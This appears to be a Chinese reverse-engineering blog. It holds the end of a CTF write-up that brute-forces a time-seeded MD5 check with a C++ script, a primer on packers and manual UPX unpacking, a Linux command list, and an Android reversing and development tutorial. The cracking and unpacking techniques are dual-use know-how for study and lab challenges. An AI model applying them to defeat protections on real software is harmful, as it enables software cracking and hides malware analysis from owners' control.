  FUN_14000a820((_Alloc_hider *)(unaff_RBP + -0x20),(char *)piVar2,(allocator *)(unaff_RBP + 0xb7));
41
  FUN_14000a6e0();
42
  uVar1 = md5Validate(unaff_RBP + -0x20,"8a2fc1e9e2830c37f8a7f51572a640aa");
43
  if ((char)uVar1 == 0) {
44
    poVar3 = std::operator<<((ostream *)PTR_PTR_cout_14000c9e0,"Wrong!");
45
    std::ostream::operator<<(poVar3,(_func_ostream_ptr_ostream_ptr *)&DAT_140002018);
46
  }
47
  else {
48
    poVar3 = std::operator<<((ostream *)PTR_PTR_cout_14000c9e0,"Congratulations!");
49
    std::ostream::operator<<(poVar3,(_func_ostream_ptr_ostream_ptr *)&DAT_140002018);
50
  }
51
  std::__cxx11::string::~string(unaff_RBP + -0x20);
52
  std::__cxx11::string::~string(unaff_RBP);
53
  return 0;
54
}

展开收起

（顺便提一下，这是我用 Ghidra 反编译的，IDA 的反编译看得我眼花缭乱 X-X）

这个字符串的 MD5 是 8a2fc1e9e2830c37f8a7f51572a640aa，这个 MD5 应该是没有已知数据库有记录的，因此需要我们自己爆破。

这个比赛在 2025/7/12 进行。当时我们发现直接运行程序，不会输出 query: ...，这个 (0x686d4080 < *(longlong *)(unaff_RBP + 200)) && (*(longlong *)(unaff_RBP + 200) < 1752052052) 条件在控制。

向上查看发现 unaff_RBP + 200 实际上是从 FUN_140001493 中的 _time64 得到的 UNIX 时间戳。转换发现条件是本机 UTC 时间为 2025/7/9 00:00<00> - 2025/7/9 09:07<32> 时，执行函数体并输出该时刻的查询字符串。此时断网并调整本机时间。

现在我们想知道 query 是如何生成的，阅读后知道输出的 unaff_RBP + -0x60 来自 FUN_140001963

1
undefined8 FUN_140001963(undefined8 param_1)
2

3
{
4
  uint uVar1;
5
  ostream *poVar2;
6
  double dVar3;
7
  double dVar4;
8
  double dVar5;
9
  double dVar6;
10
  stringstream local_218 [16];
11
  ostream aoStack_208 [384];
12
  string salt [44];
13
  uint r;
14
  longlong t;
15
  int local_4c;
16
  uint y;
17
  uint x;
18
  uint b;
19
  uint a;
20

21
  FUN_140001518(salt);
22
  t = FUN_140001493((__time64_t *)0x0);
23
  FUN_1400014b5((int)t);
24
  a = 0;
25
  b = 0;
26
  x = 0;
27
  y = 0;
28
  local_4c = 0;
29
  while (uVar1 = FUN_1400014d5(), local_4c < (int)uVar1) {
30
    a = FUN_1400014d5();
31
    b = FUN_1400014d5();
32
    x = FUN_1400014d5();
33
    y = FUN_1400014d5();
34
    local_4c = local_4c + 1;
35
  }
36
  r = FUN_1400014d5();
37
  std::__cxx11::stringstream::stringstream(local_218);
38
                    /* 00000061h */
39
  dVar5 = (double)DAT_14000b0e0;
40
  dVar3 = (double)FUN_1400033a0((double)(int)(x | a),DAT_14000c1d0);
41
                    /* 0000000Bh */
42
  dVar6 = (double)DAT_14000b0e4;
43
  dVar4 = (double)FUN_1400033a0((double)(int)(y | b),DAT_14000c1d0);
44
  if (dVar5 * dVar3 == dVar4 * dVar6) {
45
    poVar2 = std::operator<<(aoStack_208,"salt=");
46
    poVar2 = std::operator<<(poVar2,salt);
47
    poVar2 = std::operator<<(poVar2,"&t=");
48
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,t);
49
    poVar2 = std::operator<<(poVar2,"&r=");
50
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,r);
51
    poVar2 = std::operator<<(poVar2,"&cipher=");
52
    uVar1 = FUN_14000184d(r,(uint)t);
53
    std::ostream::operator<<(poVar2,uVar1 & 0xffff);
54
  }
55
  else {
56
    poVar2 = std::operator<<(aoStack_208,"salt=");
57
    poVar2 = std::operator<<(poVar2,salt);
58
    poVar2 = std::operator<<(poVar2,"&t=");
59
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,t);
60
    poVar2 = std::operator<<(poVar2,"&r=");
61
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,r);
62
    poVar2 = std::operator<<(poVar2,"&a=");
63
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,a);
64
    poVar2 = std::operator<<(poVar2,"&b=");
65
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,b);
66
    poVar2 = std::operator<<(poVar2,"&x=");
67
    poVar2 = (ostream *)std::ostream::operator<<(poVar2,x);
68
    poVar2 = std::operator<<(poVar2,"&y=");
69
    std::ostream::operator<<(poVar2,y);
70
  }
71
  std::__cxx11::stringstream::str();
72
  std::__cxx11::stringstream::~stringstream(local_218);
73
  std::__cxx11::string::~string(salt);
74
  return param_1;
75
}

展开收起

先运行程序看看输出

Terminal window

1
query: salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=1751994230&r=938796188&a=1227348758&b=2062353588&x=353278121&y=90222372
2

3
query: salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=1751994263&r=1788731889&a=1248035063&b=1976747241&x=78756750&y=1271164846

多次运行后，发现 salt 值不变，于是我们需要生成 r、a、b、x 和 y。

这五个值均由 FUN_1400014d5 生成：

1
uint FUN_1400014d5(void)
2

3
{
4
  uint uVar1;
5

6
  uVar1 = time_you_get ^ time_you_get << 13;
7
  uVar1 = uVar1 ^ uVar1 >> 17;
8
  time_you_get = uVar1 ^ uVar1 << 5;
9
  return time_you_get & 0x7fffffff;
10
}

生成后按格式拼接，计算 MD5 值并比较。完整脚本：

1
#include <iostream>
2
#include <string>
3
#include <cstdio>
4
#include <openssl/md5.h> // 需要安装 OpenSSL 库
5

6
using namespace std;
7

8
unsigned int encodeYourTime(int *time)
9
{
10
    unsigned int temp;
11
    temp = (*time) ^ (*time) << 13;
12
    temp = temp ^ temp >> 17;
13
    (*time) = temp ^ temp << 5;
14
    return (*time) & 0x7fffffff;
15
}
16

17
string calculateMD5(const string &input)
18
{
19
    unsigned char digest[MD5_DIGEST_LENGTH];
20
    MD5((unsigned char *)input.c_str(), input.length(), digest);
21

22
    char mdString[33];
23
    for (int i = 0; i < 16; i++)
24
        sprintf(&mdString[i * 2], "%02x", (unsigned int)digest[i]);
25

26
    return string(mdString);
27
}
28

29
int main()
30
{
31
    for (int i = 1751990400; i <= 1752052051; i++)
32
    {
33
        unsigned int r = 0;
34
        unsigned int a = 0;
35
        unsigned int b = 0;
36
        unsigned int x = 0;
37
        unsigned int y = 0;
38

39
        int time = (int)i;
40

41
        // 生成随机参数
42
        for (int j = 0; j < (int)encodeYourTime(&time); j++)
43
        {
44
            a = encodeYourTime(&time);
45
            b = encodeYourTime(&time);
46
            x = encodeYourTime(&time);
47
            y = encodeYourTime(&time);
48
        }
49
        r = encodeYourTime(&time);
50

51
        // 构建数据字符串
52
        char buffer[256];
53
        snprintf(buffer, sizeof(buffer),
54
                 "salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=%u&r=%u&a=%u&b=%u&x=%u&y=%u",
55
                 i, r, a, b, x, y);
56
        string data = buffer;
57

58
        // 计算MD5
59
        string md5Hash = calculateMD5(data);
60

61
        // 输出结果
62
        cout << "Generated data: " << data << "\n";
63
        cout << "MD5 Hash: " << md5Hash << "\n";
64
        if(md5Hash == "8a2fc1e9e2830c37f8a7f51572a640aa")
65
        {
66
            cout << "Find match MD5!" << "\n";
67
            break;
68
        }
69
    }
70
    return 0;
71
}

展开收起

运行得到：

Terminal window

1
Generated data: salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=1751994277&r=101356418&a=1388848462&b=441975230&x=1469980073&y=290308156
2
MD5 Hash: 8a2fc1e9e2830c37f8a7f51572a640aa
3
Find match MD5!

再计算 Generated data 的 SHA1 值即得到 flag。

程序脱壳

Fri, 11 Jul 2025 18:42:42 GMT

壳 (packer) 是一种程序压缩与保护手段，有时称为“可执行程序资源压缩”。加壳过的程序可以直接运行，但是不能查看源代码，要经过脱壳才可以查看。

加壳是利用特殊的算法，对EXE、DLL文件里的资源进行压缩、加密。压缩之后的文件可以独立运行，解压过程完全隐蔽，都在内存中完成。

原始程序代码在磁盘文件中一般是以加密后的形式存在的，只在执行时在内存中还原，这样就可以比较有效地防止破解者对程序文件的非法修改，同时也可以防止程序被静态反编译。当然，很多恶意软件为了“隐藏自己”免受安全软件的查杀，也会使用加壳器。

壳的类型通常分为压缩壳和加密壳两类。压缩壳的特点是减小软件体积大小，加密保护不是重点；加密壳种类比较多，不同的壳侧重点不同，一些壳单纯保护程序，另一些壳提供额外的功能，如提供注册机制、使用次数、时间限制等。但如今这两类壳的界限并不清晰，有的壳兼具压缩和加密功能。

壳的加载#

保存入口参数

加壳程序初始化时保存各寄存器的值
外壳执行完毕，恢复各寄存器值
最后再跳到原程序执行

通常用 pushad / popad、pushfd / popfd 指令对来保存和恢复现场环境

获取所需函数 API

一般壳的输入表中只有 GetProcAddress、GetModuleHandle 和 LoadLibrary 这几个 API 函数
如果需要其他 API 函数，则通过 LoadLibraryA(W) 或 LoadLibraryExA(W) 将 DLL 文件映射到调用进程的地址空间中
如果 DLL 文件已被映射到调用进程的地址空间里，就可以调用 GetModuleHandleA(W) 函数获得 DLL 模块句柄
一旦 DLL 模块被加载，就可以调用 GetProcAddress 函数获取输入函数的地址

解密各区块数据

处于保护源程序代码和数据的目的，一般会加密源程序文件的各个区块。在程序执行时外壳将这些区块数据解密，以让程序正常运行
外壳一般按区块加密，按区块解密，并将解密的数据放回在合适的内存位置

跳转回原程序入口点

在跳转回入口点之前，一般会恢复填写原 PE 文件输入表 (IAT)，并处理好重定位项（主要是 DLL 文件）
因为加壳时外壳自己构造了一个输入表，因此在这里需要重新对每一个 DLL 引入的所有函数重新获取地址，并填写到 IAT 表中
做完上述工作后，会跳转到原始入口点 (OEP)，将控制权移交原程序，并继续执行

如何脱壳#

脱壳分为机脱和手脱。

如果加壳器有对应的脱壳脚本且原程序未对加壳结果进行修改，那么机脱是最优雅且快捷的，比如 UPX 壳。脱 UPX 壳最好的办法就是 upx -d。¹机脱我们不多做介绍，这更多考验搜索能力和 PY。

当然，有的壳是没有（完整的）脱壳机的，而有些谨慎的程序员也会给壳添油加醋，这时就不得不进行麻烦的手脱了。

UPX 部分手脱#

UPX 作为入门最常见的壳，官方程序自带脱壳功能。然而，仅仅是 upx -d 实在没有技术含量，因此进阶一点的 UPX 题目就会再次修改 UPX 加壳后的程序，使得 upx -d 失效。

upx -d 脱壳主要利用加壳时候写到加壳程序里的 PE 信息，直接抹掉原始加壳的留下的 PE 头信息就无法直接 upx -d 脱壳了。

修改/删除特殊区段名 UPX 压缩过的程序有特殊区段名 UPX，十六进制表示为 55 50 58。如果修改/删除区段名，那么 upx -d 就无法识别了，而程序仍然能运行。UPX 区段保存着程序的压缩信息，在一定程度上可以验证程序的完整性。 UPX 压缩的程序还有一个区段 .rsrc，这是程序的头部和部分资源数据段，有时是 UPX2。解决办法就是将修改的区段名恢复成 UPX 或 .rsrc，一般来讲，程序中有 3 - 4 个 UPX 特征区段名，要看看它们是否全部修复。另一个更强硬的手段就是直接删除 UPX 特定区段的字节，这样做甚至会损坏程序的运行。总结起来，你需要的关注的地方有这些：1）UPX0、UPX1 和 .rsrc/UPX2；2）5.01 UPX! $，数字代表程序使用的 UPX 版本，UPX! $ 标志从此处开始解压原始程序。

手动脱壳常用方法#

脱壳的主要目的是：找到 OEP，在 OEP 处设置硬件断点。如果想更近一步，就要输出脱壳后的程序到文件，并修复运行。

基本步骤：

查壳

寻找 OEP

脱壳/Dump 原程序

修复导入表

查壳

寻找 OEP

脱壳/Dump 原程序

修复导入表

PECompact 手脱#

PECompact 是一种简单的压缩壳，手脱起来还是比较简单易懂的 ^-^

Footnotes#

[转贴] UPX手动脱壳后的半完美修复 ↩

Linux简单教程

Fri, 11 Jul 2025 16:01:58 GMT

Android 底层仍是 Linux Kernel。通过内核，操作系统才能与硬件系统进行通信。因此，学一些 Linux 知识还是有必要的。

安卓系统架构

Google 官方提供了两种系统架构示意图：AOSP 和 Android

AOSP软件架构

Android软件架构

无论是 AOSP 还是 Android，软件底层都是 Linux 内核

常用指令#

在 Linux 下，“万物皆文件”，我们所用的指令本质上也是一个二进制文件。这些二进制文件默认隐藏扩展名，有时为了区分，才加上扩展名（比如奇怪的 a.out）

Note

Red Hat 的 Cheat Sheet：Linux Commands Cheat Sheet

程序管理： which - 获取命令的可执行文件的完整路径。
控制台与输出管理 cat - 在终端上显示文件内容。 clear - 清除终端显示。 echo - 在终端中打印文本或变量。 top - 获取有关正在运行的进程的信息。
创建和导出环境变量： env - 显示系统上运行的所有环境变量。 export - 导出环境变量。 printenv - 将特定环境变量打印到控制台。 source - 从当前 shell 中执行存储在文件中的命令，或刷新环境变量。
使用文件和目录： cd - 移动到另一个目录。 cp - 将源目录或文件的内容复制到目标目录或文件。 find - 根据命名定位文件或目录。 grep - 在输出中查找字符串。 ls - 列出目录内容。 mkdir - 创建目录。 more - 查看并遍历文件或标准输出 (stdout) 的内容。 mv - 移动或重命名文件。 pwd - 获取当前的工作目录。 rm - 删除文件或目录。 tar - 提取并压缩文件。
获取命令行帮助文档： man - 访问所有 Linux 命令的手册页
网络管理： curl - 通过 URL 获取或上传文件。 ip - 获取物理机或虚拟机的 IP 信息。 netstat - 获取网络连接等信息。 ssh - 在非安全网络外建立两个主机的安全加密连接。 wget - 直接从互联网上下载文件。
进程管理： && - 在一个语句中执行多条命令。 kill - 从内存中移除正在运行的进程。 ps - 显示活跃进程。
系统管理： poweroff - 关机。 restart - 重启。
用户管理： whoami - 显示用户 ID。

安卓逆向介绍

Wed, 09 Jul 2025 20:11:16 GMT

封面来自 Making security easy: How we are helping you fix vulnerabilities in your Android apps

环境搭建与使用#

Java 环境#

Java 开发环境分为 JRE (Java Runtime Environment) 和 JDK (Java Development Kit)，我们一般安装 JDK。

JDK 常用 LTS 版本，有 8、11、17 和 21；常见的发行版本来自 Oracle。

在安装好 JDK 后，需要在环境变量里新增一个 JAVA_HOME 条目，指向需要使用的 JDK 的安装路径，然后在 Path 里增加 %JAVA_HOME%\bin，便于多版本管理。

JADX#

JADX 是 Android Dex 和 Apk 文件的反编译器，可以将文件反编译为 Java 源代码。

如果想查看类与函数定义，可以直接双击该类/函数。如果想查找引用，右击选择“查找用例”或点击快捷键 X。

注意不要先开反混淆，反混淆会修改一些类名，导致后面 hook 函数的时候 hook 失败。反混淆仅在类名显示为乱码时使用。

GDA#

GDA 是国产的反编译器，功能也很强大，不过界面相对来说不那么好看

JEB#

建议在 JADX 和 JEB 均无法顺利反编译的情况下用 JEB。

JEB 都无法顺利搞定呢？

需要定制虚拟机，输出 Smali 代码（Android 的汇编代码）和寄存器数据。

Android Studio 与 ADB#

Android Studio 基于 JetBrains IDEA，是 Android 开发的重要工具。

默认的 SDK 路径在 C:\Users\<UserName>\AppData\Local\Android\Sdk，标准安装会安装最新版的 SDK，在 Language&Frameworks > Android SDK 中可以勾选较旧版本的 SDK

在 SDK Tools 中还需要勾选 NDK (Side by side)、CMake 和 Google USB Driver

我们主要的开发和逆向工作都是在 PC 上进行的，如果需要控制手机应用的运行情况，则要将 PC 和手机关联起来，让 PC 控制手机。这就是 ADB（Android Debug Bridge，调试桥）的作用。

在 C:\Users\<UserName>\AppData\Local\Android\Sdk\platform-tools\ 下，我们就可以找到一个 adb 程序。

ADB 的构成和工作方式：

客户端 (Client)：用于发送命令。客户端在开发机器上运行。可以通过 adb 命令从命令行终端调用客户端。
服务器 (server)：用于管理客户端与守护程序之间的通信。服务器在开发机器上作为后台进程运行。
守护程序 (ADB Daemon, adbd)：用于在连接的设备上运行命令。守护程序在每个设备上作为后台进程运行。

发送命令

返回结果

发送命令

返回结果

执行命令

返回结果

ADB 客户端

ADB 服务端

ADB Daemon

设备

发送命令

返回结果

发送命令

返回结果

执行命令

返回结果

ADB 客户端

ADB 服务端

ADB Daemon

设备

当您启动某个 ADB 客户端时，该客户端会先检查是否有 ADB 服务器进程已在运行。如果没有，它会启动服务器进程。所有 ADB 客户端均使用端口 5037 与 ADB 服务器通信。

使用 ADB 前需要在设备上启用 USB 调试（在默认隐藏的“开发人员选项”中，请参考启用开发者选项），Android Studio 提供的模拟器默认开启。如果使用真机，开启时请接受用于调试的 RSA 密钥，建议对可信任的开发机勾选“一律……”。

Warning

如果无法进行 USB 连接，请查看 Google USB Driver 是否安装。Windows 用户也在“设备管理器”中查看是否有被警告的“其他设备”。驱动获取参考获取 Google USB 驱动程序从 Android 11 开始，支持 Wi-Fi 无线调试，详见通过 Wi-Fi 连接到设备

然后就可以通过 adb devices 查看设备的连接情况了。

主要的 ADB 命令有：

1
adb help 显示 ADB 命令帮助
2
adb version 显示 ADB 的版本和运行路径
3
adb start-server 启动 ADB 服务端
4
adb kill-server 停止 ADB 服务端
5
adb devices 显示连接的设备列表
6
adb install <name>.apk 通过 ADB 安装 APP
7
adb install -r <name>.apk 覆盖安装 APP
8
adb uninstall <package.name> 通过 ADB 卸载 APP（注意不再是 apk 名，而是 AndroidManifest.xml 中的 package 属性值，可通过 `adb shell pm list packages` 获取）
9

10
adb push <local_src> <remote_dest> 将开发机上的文件传送到设备上
11
adb pull <remote_src> <local_dest> 将设备上的文件传送到开发机上
12
adb shell 进入设备的 Linux 交互式终端
13
adb -s <device_name> shell 多设备下进入指定设备的 Linux 终端
14
adb shell <shell_command> 通过设备的 Linux 终端执行单条命令
15

16
adb root 以 Root 权限重启 ADB，即获取（部分）设备 Root。仅限模拟器或“超级 adbd”
17
adb remount 重新挂载 /system 目录并获得读写权限。需要在获得 Root 权限的 ADB 中使用

完整的 ADB 命令文档请参阅Android 调试桥 (adb)

Logcat#

一个应用在运行过程中少不了各种日志。Android 日志记录系统是系统进程 logd 维护的一组结构化环形缓冲区。这组可用的缓冲区是固定的，并由系统定义。该日志系统会存储应用日志、系统日志和崩溃日志。

Logcat 🐱 是一个命令行工具，用于转储日志，包括应用使用 Log 类写入的消息。它需要在设备的 Linux Shell 中运行，也可以和 ADB 搭配使用（本质上仍然在 Shell 中运行）。Android Studio 提供了带 GUI 的 Logcat

Logcat 的基本命令：

1
adb logcat 常规显示
2
adb logcat -help 显示帮助信息
3
adb logcat -c 清除日志
4
adb logcat -g 显示日志缓冲区大小
5
adb logcat -G <size> 设置日志缓冲区大小
6
adb logcat -v time 切换日志显示格式
7
adb logcat -v color 带颜色的日志显示
8
adb logcat -v brief output 简短显示
9
Ctrl + C 中断 Logcat
10

11
adb logcat -s <tag> 根据 tag 过滤输出，注意 tag 大小写敏感，没有模糊搜索
12

13
ps -A | grep <package.name> # 获取进程 pid
14
adb logcat | findstr <pid> 根据 pid 过滤输出，注意 findstr 是 Windows 的工具，Linux 用 grep

Android 扫盲#

Android 开发历史简述#

Android 4.4 之前，使用 Dalvik / DVM 虚拟机执行 DEX（Dalvik 可执行文件），系统中有 libdvm.so 文件 Android 4.4 时，Google 开始使用 ART (Android Runtime)，但仍保留 DVM，系统中并存 libdvm.so 和 libart.so 文件 Android 5.0+ 完全转向 ART，系统架构开始分为 32 位和 64 位

APK 基本结构#

apk 本质上是一个具有特殊文件夹结构的 zip 压缩包，其中包括：

静态资源文件目录 (assets/)：图片、音频、数据库、网页、配置文件等
库文件目录 (lib/)：保存各种平台下使用对应的 so 文件。
- 目录分为以下架构版本的子文件夹：armeabi-v7a（通用架构）、arm64-v8a（64 bit 架构），x86 / x86-64（模拟器）。存在子文件夹表示支持该平台。
- 如果在 PC 端逆向，先使用 x86 系列，再逆向 arm 系列。
编译资源文件目录 (res/)：编译后的布局文件 layout、程序图标等。
签名文件目录 (META-INF/)：验证 APK 完整性。
配置清单文件 (AndroidManifest.xml)：APP 信息，如名称、版本、权限、引用的库文件等。
核心代码文件 (classes.dex)：Java/Kotlin 的 Dalvik 字节码文件，APK 运行的主要逻辑
资源映射文件 (resources.arsc)：资源文件索引

还有其他文件（夹），但现阶段我们只关注 lib、AndroidManifest.xml 和 classes.dex 即可

Android 文件目录结构#

Android 基于 Linux，因此借鉴了 Linux 的文件树系统。

对于软件逆向，我们主要关注这些目录：

data/data 目录：存放 APP 数据，每个 APP 的数据又存放在该目录下以包名命名的目录内。这是一个私有目录，除非有 Root 权限，否则各个 APP 仅可访问自己的目录。由于这个私有目录对 APP 自己没有权限限制，因此可以将处理后的 APP 文件放在这类目录里。
data/app 目录：存放用户 APP 本体。在 Android 10 上，该目录和 data/data 近似，目录名称是包名+随机数，但 Android 12 开始，变成双层目录，第一层没有包名只有随机数，第二层才是包名+随机数。该目录下一般有 base.apk（APP 的原始 APK，大多数情况下可以直接安装）、lib/（so 文件）和 oat（odex、vdex 等由 DEX 文件转换得到的文件）
data/local/tmp 目录：临时目录。该目录的权限比较大，因此也可以将处理好的文件放在这里，不用担心 data/data 的权限问题
system/app 目录：存放系统 APP 本体。
system/lib 和 system/lib64 目录：存放 APP 用到的 so 文件

Android 正向开发入门#

Note

Android 使用入门

无论是哪种语言/平台，要搞逆向，最好是先了解如何正向开发，在正向开发中知道程序的运行流程和代码特点。这一块有很多教程。

Android 开发流程可以概括为

使用 Java/Kotlin 语法 + Android SDK

Android Studio 编译成 xx.apk

通过 JNI 调用非 Java 代码

资源文件/xx.dex/xx.so

使用 Java/Kotlin 语法 + Android SDK

Android Studio 编译成 xx.apk

通过 JNI 调用非 Java 代码

资源文件/xx.dex/xx.so

Android Studio 是主要的开发工具。

Android Studio 介绍#

现在开始写一个 Hello World 吧！在“New Project”中选一个工程模板。

选哪种模板？

“我们一般比较常用的是 Empty Views Activity 和 Empty Activity 两种，前者是传统的 View 体系界面开发，后者使用 Compose 进行界面开发（固定使用 Kotlin）” ——隔壁西二在线的 Android 开发入门

新建工程后，AS 就会提示“Sync Gradle”。由于需要从境外下载资源，因此需要开🪜（但也还是慢啊啊啊）。同步完 Gradle 后就可以开始开发了。

Tip

Gradle 发行版的下载可以换用阿里云镜像，在 gradle-wrapper.properties 文件中的 distributionUrl 修改。注意使用初始提供的 Gradle 版本。

Warning

Java 版本不要太高！AS 默认的是 Java 21，就用它自带的或者你自己安装的 Java 21，版本高了构建会报错。如果 AS 警告说多个 Java，不需要理它。

整个 AS 主要分为三个视图：Project、Code 和 Design 视图（分别位于左、中、右）。

Project 视图用于显示项目文件和文件夹
Code 视图用于编辑代码
Design 视图用于预览应用外观

右上角可以切换 Code 和 Design 视图的可见性。

在 AS 中，我们有两种主要的文件组织方式：Android 和 Project Source Files。前者是 AS 中的标准文件组织方式，后者则是我们在操作系统中使用的组织方式。文件组织方式可以在 Project 视图的左上角进行切换。

好了，基本的工具使用已经介绍完了，接下来介绍一些开发知识。

APP 信息#

对于使用 Java 语言开发的项目，我们在 java 文件中写程序逻辑，在 xml 文件中写程序界面布局。在 Android 中，Activity（活动）可以理解为应用的界面，类似 Windows 中的窗口。应用可以通过 Activity 直接跳转到指定的界面（不论是否为同一应用），而无需经过启动界面。AndroidManifest.xml 下有各个 Activity 的索引。

AndroidManifest.xml 声明了 app 的具体信息：

属性	定义
`versionCode`	版本号，用于更新
`versionName`	版本名，给用户看的
`package`	包名
`package android:name="xxx"`	APP 引用的第三方包
`uses-permission android:name="xxx"`	应用需要的 xxx 权限
`android:label="@string/app_name"`	应用名称
`android:icon="@mipmap/ic_launcher"`	应用图标路径
`android:debuggable="true"`	debug 权限，默认关闭
`android:allowBackup="true"`	备份权限
`android:supportsRtl="true"`	支持从右往左的文字排列（如阿拉伯文字）
`android:theme="@style/Theme.xxx"`	显示主题
`application` 下的 `android:name="xxx"`	先于 `MainActivity` 执行的类，一般加固的应用会有这个。

（不是所有属性都有，但大部分属于默认设置）

Note

此处的 @string、@mipmap 表示资源位置，分别位于 res 下的 values/strings.xml 和 mipmap/ 文件夹。

在 Android 应用中，MainActivity 作为启动首屏，它的 onCreate() 函数扮演着程序入口点的角色。

Note

MainActivity 的 onCreate() 是程序员能够控制的程序入口。在系统层面，一个应用的入口事件执行顺序是：Application.attachBaseContext(), Application.onCreate(), MainActivity.attachBaseContext(), MainActivity.onCreate()。

你也可以自己指定入口点。和 LAUNCHER 绑定的 activity 就是入口点所在的类。

1
<activity
2
   android:name="com.example.ezandroidpro.MainActivity"
3
   android:exported="true">
4
   <intent-filter>
5
        <action android:name="android.intent.action.MAIN"/>
6
        <!-- LAUNCHER 是 APP 的启动界面 -->
7
        <category android:name="android.intent.category.LAUNCHER"/>
8
   </intent-filter>
9
   <meta-data
10
        android:name="android.app.lib_name"
11
        android:value=""/>
12
</activity>

和 android.intent.category.LAUNCHER 绑定的 com.example.ezandroidpro.MainActivity 就是入口点所在的类。

1
public class MainActivity extends AppCompatActivity {
2
    @Override
3
    protected void onCreate(Bundle savedInstanceState) {
4
        super.onCreate(savedInstanceState);
5
        EdgeToEdge.enable(this);
6
        setContentView(R.layout.activity_main);
7
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
8
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
9
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
10
            return insets;
11
        });
12
    }

使用 static 块可以在程序开始时先于 OnCreate 方法执行代码块。

1
static {
2
    Log.d("GK", "hello"); // 用于发送日志输出，输出的信息可以用 Logcat 查看。d 表示 debug 级别
3
}
4

5
@Override
6
protected void onCreate(Bundle savedInstanceState) {
7
    Log.d("OC", "it's me");
8
    // ...
9
}

Terminal window

1
2025-09-18 08:37:48.335  6568-6568  GK  com.example.helloworld  D  hello
2
2025-09-18 08:37:48.406  6568-6568  OC  com.example.helloworld  D  it's me

编译后的 APK 默认存放于 <your_project>/app/build/outputs/apk/{release, debug} 中。具体是 release 还是 debug 要看你在 Build Variants 中的设置，默认是 debug。

组件#

在一个 Activity 中，组件 (Component) 是指帮助用户与 Android 应用交互的 UI 元素，比如你看到的按钮、输入框等，都是一种组件。

你可以在 res/layout/ 下找到 activity_main.xml。随着技术的发展，activity_main.xml 的编写已经可视化了，你可以直接在页面上摆放组件，对应的代码就会生成在 activity_main.xml 中。

`Button` 组件#

Button 最基本的 XML 代码长这样：

1
 <Button
2
     android:id="@+id/button_id"
3
     android:layout_height="wrap_content"
4
     android:layout_width="wrap_content"
5
     android:text="Button" />

按钮创建后出现错误

当你在设计界面上放下一个组件时，这个组件并不是固定在这个位置上的。你没有给这个组件设置一个相对关系，导致 Android 不知道要把这个组件放在哪里，于是报错。

AS 的实时提示会给出第一个建议：MissingConstraints。这算是一个损招了，因为忽略相对关系会让 Android 将你设置的布局全部挤到左上角！

正确的方式是乖乖设置相对关系。在 Design 界面中，点击待设置的组件，会发现有四个空心白点。将水平和垂直方向上的至少一个白点绑定到屏幕边缘或其他组件，则完成相对位置设置，此时移动组件，它的位置也就确定下来了。

如果白点绑定到屏幕边缘，那么在此方向上，组件以绝对位置定位；如果绑定到其他组件上，则以相对于该组件的位置定位。

按钮点击后，需要执行操作（事件函数），操作需要绑定到对应的 Button 上。以下是两种绑定方法：

属性绑定

Warning

在最新的 AS 中被标记为“已弃用”

在上面的 XML 标签中写：

1
android:onClick="test"

意思是注册一个 onClick 事件，当事件触发时执行 test 方法。

接下来在 MainActivity 类中编写 test 方法：

1
import android.util.Log;
2
// ...
3
public void test(View view)
4
{
5
  Log.d("watermelonabc", "Hello World!");
6
}

编译并安装 APP，点击按钮，打开 Logcat，就可以得到：

Terminal window

1
watermelonabc           com.example.helloworld               D  Hello World!

Warning

如果 android:onClick 和 MainActivity 类中方法名不符，编译时不会报错，但运行并点击按钮后，APP 就会崩溃，提示 Could not find method。现在 AS 的实时分析已经可以检查出此错误。

由于程序规模增加后不易维护，此种绑定方式不再建议使用。

类内绑定

在 MainActivity 的 onCreate 函数中先创建一个 Button 对象并绑定到 button_id 的按钮，然后创建一个 View.OnClickListener 对象，并调用 setOnClickListener(View.OnClickListener) 以将其分配给按钮。

View.OnClickListener 为 interface 类型，属于抽象类型（C++ 提到过的“接口类”），我们需要定义这个接口里的 onClick 方法。

1
Button WelcomeButton = (Button) findViewById(R.id.button_id);
2

3
WelcomeButton.setOnClickListener(new View.OnClickListener(){
4
    public void onClick(View v){
5
      Log.d("Watermelonabc", "Get Your Second FLAG!");
6
    }
7
});

Warning

此处组件的绑定/初始化使用的是 findViewById。如果需要使用 binding，需要在 build.gradle 中启用 viewBinding：

1
android {
2
    buildFeatures {
3
        viewBinding = true
4
    }
5
}

这是 Android 开发者文档的做法，在函数参数里完成接口的实例化。

这个接口类可以单独出来实现：

1
  WelcomeButton.setOnClickListener(new Hello());
2

3
// ...
4

5
class Hello implements View.OnClickListener {
6
    public void onClick(View v){
7
      Log.d("Watermelonabc", "Get Your Third FLAG!");
8
    }
9
}

也可以在已有类内实现方法：

1
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
2
  public void onClick(View v){
3
    Log.d("Watermelonabc", "Get Your Third FLAG!");
4
  }
5

6
  // ...
7

8
  Button WelcomeButton = (Button) findViewById(R.id.button2);
9
  WelcomeButton.setOnClickListener(this); // OR WelcomeButton.setOnClickListener(new MainActivity())

如果有多个按钮需要调用 onClick 方法，但需要不同逻辑，可以用 View.getId 获取当前按钮的 ID：

1
public void onClick(View v){
2
  switch(v.getId()){
3
    case R.id.button1:
4
      Log.d("Watermelonabc", "Get Your First FLAG!");
5
      break;
6
    case R.id.button2:
7
      Log.d("Watermelonabc", "Get Your Second FLAG!");
8
      break;
9
  }
10

11
}

`Toast` 组件#

Log 的信息输出在 Logcat 中。但一般用户不会接触到 Android 终端，如何将 Button 触发的事件结果呈献给用户呢？Toast（消息框）就是一个方法。

Toast 可以在一个小型弹出式窗口中提供与操作有关的简单反馈。消息框只会填充消息所需的空间大小，并且当前 activity 会一直显示并供用户与之互动。超时后，消息框会自动消失。

例如，点按电子邮件中的发送会触发“正在发送邮件…”消息框。

最基础的 Toast 用法：

1
// Toast makeText(Context context, CharSequence text, @Duration int duration)
2
// makeText 只是初始化，要显示必须调用 show
3
